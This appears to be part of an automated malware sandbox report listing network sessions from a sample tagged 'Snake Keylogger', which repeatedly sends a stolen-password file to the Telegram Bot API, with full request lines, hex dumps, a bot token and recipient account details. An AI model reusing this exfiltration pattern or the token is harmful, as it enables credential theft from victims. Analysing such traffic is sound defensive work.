{"ok":true,"result":{"message_id":66819,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228786,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	49881	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:07 UTC	113	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e56c9a34 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:07 UTC	113	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 35 36 63 39 61 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e56c9a34Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:07 UTC	113	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:07 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:07 UTC	114	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66820,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228787,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	49884	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:07 UTC	114	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e5a36ffb Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:07 UTC	115	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 35 61 33 36 66 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e5a36ffbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:07 UTC	115	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:07 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:07 UTC	116	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66822,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228787,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	49888	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:07 UTC	116	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e5d7e39b Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:07 UTC	116	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 35 64 37 65 33 39 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e5d7e39bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:08 UTC	117	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:08 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:08 UTC	117	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66823,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228788,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49775	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:41 UTC	11	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d5f47c57 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:41 UTC	12	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 35 66 34 37 63 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d5f47c57Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:41 UTC	12	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:41 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:41 UTC	13	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66753,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228761,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	49890	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:08 UTC	118	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e615e0c5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:08 UTC	118	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 36 31 35 65 30 63 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e615e0c5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:08 UTC	119	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:08 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:08 UTC	119	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66824,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228788,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.5	49893	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:08 UTC	119	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e6517b64 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:08 UTC	120	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 36 35 31 37 62 36 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e6517b64Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:08 UTC	120	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:08 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:08 UTC	121	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66826,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228788,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	49895	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:09 UTC	121	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e688517c Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:09 UTC	121	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 36 38 38 35 31 37 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e688517cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:09 UTC	122	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:09 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:09 UTC	122	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66827,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228789,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.5	49898	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:09 UTC	123	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e6c3ec41 Host: api.telegram.org Content-Length: 504
